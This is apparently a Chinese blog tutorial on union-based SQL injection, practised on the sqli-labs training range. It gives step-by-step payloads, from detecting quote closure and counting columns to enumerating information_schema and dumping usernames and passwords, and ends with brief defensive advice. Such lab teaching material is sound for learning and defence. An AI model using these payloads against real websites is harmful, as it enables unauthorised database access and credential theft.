基于Union的联合SQL注入

本文详细介绍了SQL注入的概念,通过实例展示了如何利用各种payload进行攻击,包括闭合符判断、字段数量检测等。同时,文章强调了防御SQL注入的重要性,提倡对用户输入进行验证和限制数据库权限以保障系统安全。
摘要由CSDN通过智能技术生成

一、对SQL注入的认识

     SQL注入是基于在动态构造SQL动态注入语句时未对用户输入进行充分的验证和过滤,攻击者利用这个漏洞通过用户输入插入恶意代码来改变原始SQL查询的逻辑结构从而达到控制数据库的目的。

二、基础知识和准备

1、一库三表六字段

一库

information_schema

三表

schemate             库名     

tables                   表名

columns               字段名

六字段

schemata表的        schema_name    库名

tables 表的             table_schema     库名

tables表的              table_name         表名

columns表的          table_schema     库名

columns表的          table_name         表名

columns表的          column_name     字段名

 2、HackBar插件

 插件的具体下载方法大家可以去下面这篇文章里学习。

如何在火狐浏览器上安装插件 作者:一懒众山小~

 三、让我们开始做SQL注入吧

(本文用了sqli-labs-php7-master靶场做演示)

1、判断输入是否有闭合符

2、判断闭合符

3、判断字段个数

4、判断回显位

5、判断当前库名和SQL版本

6、查询所有数据库库名 

7、查询指定库的所有表 

8、查询字段名

9、查询字段内容

1、判断输入是否有闭合符

Payload:   

1 and 1=2

如果是字符型:’1 and 1=2’会被当做一个字符不会报错

Select * from users where id=’1 and 1=2’limit 0,1

如果是数字型and 1=2变成判断条件1!=2所以不满足条件查不出来信息

Select * from users where id=1 and 1=2 limit 0,1

 下面的图片就是一个有闭合符的情况,因为是字符型,所以被当成了一个字符。

2、判断闭合符 

  根据第一步判断是字符型,存在闭合符所以我们要进一步判断闭合符是啥,我们来看看闭合符都有啥。

id='1'

id="1"

id=(‘1’)

id=("1") 

   当输入一个一点不沾边的错误包裹符时不报错

   当包裹符是  '   时和输入的   ")   一点不沾边此时不报错因为  1 ”)被当做是字符串

Select * from users where id=’1 ”)’limit 0,1  

   当输入一个错误包裹符但这个正确包裹符是错误包裹符的一部分时报错

   因为’1 他俩会成一对所以   ’limit 0,1 会报错因为  )’是多余的。但是我们此时就可以看出来正确包裹符因为报错信息信息中  )'  ,因为  )  后面的  ' 不是我们输入的,是他本身带的包裹符。

Select * from users where id=’1 ’)’limit 0,1

  当输入包裹符正确时也会报错’1 ’limit 0,1会报错 ,因为多了一个 ’

Select * from users where id=’1 ’’limit 0,1

3、判断字段个数

用order by 进行排序

order by n -- 当有n个数时不报错,当没有n个数时报错

当n=3时不报错,n=4就报错所以有三个字段 

4、判断回显位

  判断这三个字段的哪两个字段输出的

  根据ID查询,这里的ID不能合法,因为合法就会查出内容,查出来就看不出来哪列回显所以ID=-1,可以判断出回显在第2、3位。

id =-1' union select 1,2,3 -- -

5、判断当前库名和mysql版本

  版本只有MySQL 5.0及以上版本有information_schema库

id =-1' union select 1,database(),version()-- -

6、查询所有数据库库名 

id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata -- -

7、查询指定库的所有表 

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- -

8、查询指定库指定表的所有字段

id=-1' union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database() -- -

9、查看字段中所有内容

id=-1 union select id,group_concat(username),group_concat(password) from security.users --+

四、防御SQL注入

   了解了原理我们也应该从中得到提示,SQL注入漏洞值得我们注意,但解决这个问题并不难,对用户输入的信息进行过滤,确保输入符合预期的格式类型,对敏感信息进行加密并限制数据库用户的权限。

                                     最后的最后!!!要在靶场测试!!! 不要违法哦!!!

  

  • 31
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值